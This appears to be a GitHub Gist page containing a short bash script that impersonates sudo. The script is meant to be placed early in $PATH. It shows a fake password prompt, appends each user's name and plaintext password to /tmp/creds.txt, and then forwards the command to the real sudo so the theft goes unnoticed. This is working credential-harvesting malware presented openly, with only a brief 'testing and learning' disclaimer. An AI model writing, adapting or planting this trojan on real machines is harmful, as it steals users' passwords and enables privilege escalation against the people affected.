Created
October 29, 2017 02:27
-
-
Save manasmbellani/4923daa95a56d644214f993e947af0e4 to your computer and use it in GitHub Desktop.
A script inspired by the sudo-backdoor script from ldionmarcil - instead of sending the creds remotely, it will write to disk.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Script created for testing and learning purposes only. The author does not take any responsibility for the actions taken | |
# when using this script. | |
# Note that it is generally not a good idea to be storing plain text credentials to disk where other users will be able to | |
# access them. | |
# Drop this file on disk in the leading directory on $PATH and make it executable | |
# Then update the CREDS_FILE to the location that the creds must be written | |
CREDS_FILE="/tmp/creds.txt" | |
# if user already logged in, don't prompt again. | |
/usr/bin/sudo -n true 2>/dev/null | |
if [ $? -eq 0 ] | |
then | |
# if user already logged in, don't prompt again. | |
/usr/bin/sudo $@ | |
else | |
# prompt user to provide his username/password | |
echo -n "[sudo] password for $USER: " | |
read -s pwd | |
echo | |
echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null | |
credentials_valid=$? | |
echo "$USER $pwd" >> $CREDS_FILE | |
if [ $credentials_valid -eq 1 ] | |
then | |
echo "Sorry, try again." | |
sudo $@ | |
else | |
echo "$pwd" | /usr/bin/sudo -S $@ | |
fi | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment